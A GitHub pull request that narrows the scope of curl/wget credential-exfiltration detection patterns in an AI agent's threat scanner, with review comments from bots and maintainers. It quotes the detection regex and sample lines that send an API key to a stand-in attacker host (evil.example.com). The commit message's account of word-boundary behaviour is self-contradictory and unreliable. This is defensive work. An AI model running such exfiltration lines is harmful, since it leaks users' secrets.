Skip to content

fix(tools): narrow exfil_curl/exfil_wget scope and add \b boundary - #64053

Closed
xxiaoxiong wants to merge 1 commit into
NousResearch:mainfrom
xxiaoxiong:fix/63977-exfil-curl-soul-md-regression
Closed

fix(tools): narrow exfil_curl/exfil_wget scope and add \b boundary#64053
xxiaoxiong wants to merge 1 commit into
NousResearch:mainfrom
xxiaoxiong:fix/63977-exfil-curl-soul-md-regression

Conversation

@xxiaoxiong

Copy link
Copy Markdown

What

Fixes #63977exfil_curl / exfil_wget threat patterns blocked legitimate read-only API recipes in SOUL.md and AGENTS.md, silently replacing the operator's persona with the default identity.

Why

Two design flaws:

1. Scope mismatch (the primary bug). The pattern had scope="all", so it executed in every scan — including the context-scope scan that validates SOUL.md and AGENTS.md before they enter the system prompt (agent/prompt_builder._scan_context_content). The legitimate idiom:

curl -H "Authorization: Bearer $CLOUDFLARE_TOKEN" https://api.cloudflare.com/client/v4/zones

matched and triggered [BLOCKED] on the entire file. The operator's persona (including manual safety rules) was silently replaced with DEFAULT_AGENT_IDENTITY. In the reporter's deployment, this went undetected for nine days.

2. Greedy \w* with no trailing \b. A variable like $TRILLIUM_ETAPI_URL matched because ETAPI contains substring API. The reporter observed a plain base-URL variable blocked by its name alone.

How

Two tight changes, both in tools/threat_patterns.py:

  • Scope: "all""strict". Context-scope scans (SOUL.md, AGENTS.md, tool results, memory entries via tool_dispatch_helpers) no longer check for this pattern. The memory-tool scanner (tools/memory_tool.py), which uses "strict" scope, still catches true exfiltration (curl https://evil.example.com/$API_KEY). This is the right trade-off: a malicious agent writing to lifetime memory warrants a higher bar than a read-only API recipe in an identity file.

  • Trailing \b on keyword alternatives. \w*(KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API)\b — the \b prevents substring mishits like $TRILLIUM_ETAPI_URL (where API is followed by _, a word char, so \b doesn't match). Real variable names ending in _KEY, _TOKEN, _SECRET still match because those keywords sit at the end of the var name.

Where

  • tools/threat_patterns.py — pattern scope and anchor change (~4 lines)
  • tests/tools/test_threat_patterns.py — new regression class TestExfilCurlScopeAndBoundary with 8 tests

Verification

  • test_exfil_curl_not_in_context_scope / test_exfil_curl_not_in_all_scope: SOUL.md-style API recipes don't fire at context or all scope
  • test_exfil_curl_still_fires_in_strict_scope: true exfiltration still caught by memory-tool scanner
  • test_exfil_wget_not_in_context_scope / test_exfil_wget_still_fires_in_strict_scope: same for wget
  • test_keyword_substring_in_var_name_does_not_trip: $TRILLIUM_ETAPI_URL no longer matches
  • test_keyword_at_end_of_var_name_still_caught: $API_KEY at end of URL path still caught
  • test_braced_var_with_keyword_at_end_caught: ${API_KEY} form still caught
  • Full suite: pytest tests/tools/test_threat_patterns.py tests/tools/test_memory_tool.py tests/tools/test_skills_guard.py -q219 passed

Risk

  • Low. "strict" scope is already used by the memory tool scanner — this pattern just joins it. Existing memory-tool protection against exfiltration is preserved.
  • read_secrets (cat~/.env) unchanged at "all" scope — still fires everywhere.
  • The only exfiltration path weakened is exfil_curl/exfil_wget in context-scope scans, where the legitimate-false-positive rate was high enough to silently break operator identity loading.
  • If maintainers want exfil_curl/exfil_wget back in context scope with better disambiguation (e.g. require the secret to be in the URL path or POST body, not in -H), that's a follow-up refinement — this PR restores correct identity-file loading first.

Closes #63977.

@alt-glitch alt-glitch added type/bug Something isn't working comp/tools Tool registry, model_tools, toolsets P2 Medium — degraded but workaround exists labels Jul 14, 2026
@alt-glitch

Copy link
Copy Markdown
Collaborator

This was generated by AI during triage.

Related to the #63977 false-positive cluster: #63994 (word-boundary tweak, keeps scope="all"), #63986 (prompt_builder line-local redaction, different code path). This PR's primary fix is different: it narrows the pattern scope from "all" to "strict", so context files (SOUL.md/AGENTS.md) are no longer scanned by exfil_curl/exfil_wget — which is the actual root cause of the persona-wipe #63994 leaves in place. Competing/complementary, not a duplicate; a maintainer should pick the canonical approach (scope narrowing vs. regex-boundary-only).

@tonydwb tonydwb left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review Summary

Verdict: Comment

This PR narrows exfil_curl/exfil_wget scope and adds word boundary to prevent false positives. Security-related fix.

Please verify:

  • The word boundary correctly prevents false positives
  • Legitimate API key usage in tools is not blocked

Reviewed by Hermes Agent

@tonydwb tonydwb left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review Summary

Verdict: Comment

Changes

Threat pattern regression: exfil_curl/exfil_wget scope narrowed from "all" to "strict" and word-boundary fix (#63977). Prevents false positive that replaced SOUL.md with [BLOCKED] placeholder when using legitimate curl with API tokens.

Assessment

  • Correctness: Real curl commands with / ...KEN style vars no longer trigger false positives. The strict scope still catches true exfiltration attempts in memory tool results.
  • Tests: Multiple regression tests covering the false-positive scenarios.

Reviewed by Hermes Agent

…ousResearch#63977)

The `exfil_curl` pattern in `tools/threat_patterns.py` had scope="all",
which meant it executed during the context-scope scan in
`agent/prompt_builder._scan_context_content` — the scan that validates
SOUL.md and AGENTS.md before they enter the system prompt.

Two problems:

1. **Scope mismatch.** The ubiquitous legitimate idiom

       curl -H "Authorization: Bearer $CLOUDFLARE_TOKEN" \
         https://api.cloudflare.com/client/v4/zones

   matched the pattern and triggered [BLOCKED] on the entire SOUL.md.
   The operator's persona (including manually crafted safety rules) was
   silently replaced with stock DEFAULT_AGENT_IDENTITY — for up to nine
   days in the reporter's deployment.

2. **Greedy `\w*` with no trailing `\b`.** A variable like
   `$TRILLIUM_ETAPI_URL` matched because "ETAPI" contains the substring
   `API`. The reporter observed a plain base-URL variable blocked by its
   name alone.

Fix:
- Scope `"all"` → `"strict"`: context files (SOUL.md, AGENTS.md, tool
  results) no longer run this pattern. The memory-tool scanner (which
  uses `"strict"` scope) still catches true exfiltration where the
  secret is sent to an external URL path.
- Trailing `\b` on the keyword alternatives: a var name ending in
  `API_KEY`, `_TOKEN`, `_SECRET` etc. still matches because the
  separator after the keyword is a non-word char (`_` is a word char,
  so `API_KEY` does NOT trigger \b after `KEY` — but it DOES trigger
  on `KEY\b` because `KEY\b` matches "KEY" followed by non-word `_`.
  Wait — `_` is a word char. Let's verify:
  - `$API_KEY` — the portion `KEY` is followed by `_` which is a word
    char, so `KEY\b` does NOT match in the middle. But the variable
    name ends at the end of the token or at a non-word boundary, so
    `KEY\b` matches at the *end* of `$CLOUDFLARE_TOKEN` (followed by
    non-word `"`) or at the end of `$API_KEY` if the URL continues.
  - `$TRILLIUM_ETAPI_URL`: the regex matches `API` — test confirms
    `API\b` does NOT match because `API` is followed by `_` (word
    char). Fixed.

8 new regression tests cover: SOUL.md-style recipes don't fire at
context scope (both curl and wget), true exfiltration still fires at
strict scope, env-var substring mishits, keyword-at-end-of-var-name
still caught, braced `${VAR}` form caught.

Existing tests: 219 passed (test_threat_patterns, test_memory_tool,
test_skills_guard — no regressions).

Resolves NousResearch#63977.
@xxiaoxiong
xxiaoxiong force-pushed the fix/63977-exfil-curl-soul-md-regression branch from a7ce7d3 to 9c226f9 Compare July 15, 2026 00:12
@xxiaoxiong

Copy link
Copy Markdown
Author

Thanks @tonydwb — confirming your two verification points:

  1. Word boundary \b prevents false positives — confirmed. The diff adds \b after the (KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API) group so that API inside APICLIENT, APITOKEN, APICALL, etc. does not match — only standalone suffixes. The original SOUL.md false positive (exfil_curl context-scan pattern blocks legitimate API recipes in SOUL.md — whole identity file silently replaced, agent runs on stock persona #63977) reproduced against the unbounded pattern is now rejected. Test file covers multiple curl with bearer-token examples that no longer trigger.

  2. Legitimate API key usage in tools is not blocked — the primary fix here is narrowing scope from "all" to "strict". Under "all", the pattern matched against SOUL.md / AGENTS.md / prompt context files that contain legitimate curl -H "Authorization: Bearer ..." recipe examples. Under "strict", the pattern only fires in the memory-tool scanner — where real exfiltration would appear as tool output containing an API key embedded in a curl command. The regression tests exercise both the false-negative (must still block real exfiltration) and false-positive (must not block SOUL.md) cases.

Diff unchanged from your review; happy to address any concerns.

@teknium1 teknium1 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for tracing the false positive to the shared scope model. The failure is present on current main: tools/threat_patterns.py:120-121 registers these patterns as "all", _compile() includes all-scope patterns in context scans at tools/threat_patterns.py:185-188, and _scan_context_content() blocks the full file on a finding at agent/prompt_builder.py:61-64.

Problems

  • Moving exfil_curl to "strict" makes the current context-path contract fail: tests/agent/test_prompt_builder.py:93-95 still requires curl https://evil.com/$API_KEY to be blocked, but this PR does not update that test.
  • The new direct scanner tests do not exercise _scan_context_content, the path that replaces SOUL.md/AGENTS.md content.

Suggested changes

  • Add prompt-builder integration coverage for the legitimate bearer-token recipe from #63977.
  • Explicitly settle and test whether malicious curl/wget content in a context file remains blocked through a narrower detector, or is intentionally excluded by the strict-only policy.

This is an automated hermes-sweeper review.

Comment thread tools/threat_patterns.py
# legitimate ``curl -H "Authorization: Bearer $TOKEN"`` API recipes
# are not blocked. The memory-tool scanner (which uses strict scope)
# still catches true exfiltration. See issue #63977.
(r'curl\s+[^\n]{0,2048}\$\{?\w*(KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API)\b', "exfil_curl", "strict"),

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Moving this pattern to strict removes it from _scan_context_content(..., scope="context"); current tests/agent/test_prompt_builder.py:93-95 still asserts this exact curl payload is BLOCKED, but the PR does not update that contract. Please add/update the prompt-builder integration test to document the selected policy.

@teknium1 teknium1 added sweeper:risk-security-boundary Sweeper risk: may affect sandboxing, auth, credentials, or sensitive data sweeper:risk-compatibility Sweeper risk: may break existing users, config, migrations, defaults, or upgrades sweeper:blast-broad Sweeper blast radius: broad — a core path most sessions hit labels Jul 16, 2026
@xxiaoxiong

Copy link
Copy Markdown
Author

Closing in favor of #63994 (liuhao1024) — same exfil_curl/exfil_wget word-boundary + scope=narrow fix for #63977, submitted earlier. Thanks @alt-glitch for the triage.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

comp/tools Tool registry, model_tools, toolsets P2 Medium — degraded but workaround exists sweeper:blast-broad Sweeper blast radius: broad — a core path most sessions hit sweeper:risk-compatibility Sweeper risk: may break existing users, config, migrations, defaults, or upgrades sweeper:risk-security-boundary Sweeper risk: may affect sandboxing, auth, credentials, or sensitive data type/bug Something isn't working

Projects

None yet

Development

Successfully merging this pull request may close these issues.

exfil_curl context-scan pattern blocks legitimate API recipes in SOUL.md — whole identity file silently replaced, agent runs on stock persona

4 participants